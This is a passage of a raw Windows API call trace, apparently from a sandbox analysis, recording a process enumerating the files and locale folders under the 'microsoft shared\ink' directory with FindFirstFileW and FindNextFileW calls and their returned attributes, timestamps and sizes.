hFindFile=0x1d18d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.768] FindClose (in: hFindFile=0x1d18d0 | out: hFindFile=0x1d18d0) returned 1 [0163.768] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.768] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0163.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1450 [0163.768] FindNextFileW (in: hFindFile=0x1d1450, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.768] FindNextFileW (in: hFindFile=0x1d1450, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.769] FindNextFileW (in: hFindFile=0x1d1450, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.769] FindClose (in: hFindFile=0x1d1450 | out: hFindFile=0x1d1450) returned 1 [0163.769] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.769] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0163.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1a50 [0163.769] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.769] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.769] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.769] FindClose (in: hFindFile=0x1d1a50 | out: hFindFile=0x1d1a50) returned 1 [0163.770] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x82, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0163.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1a50 [0163.770] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1d1a50, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0163.770] FindClose (in: hFindFile=0x1d1a50 | out: hFindFile=0x1d1a50) returned 1 [0163.770] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x82, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x82, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0163.770] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x82, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x82, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x82, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x82, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x82, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0163.771] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0163.772] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x82, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0163.773] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x82, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x82, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0163.774] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, 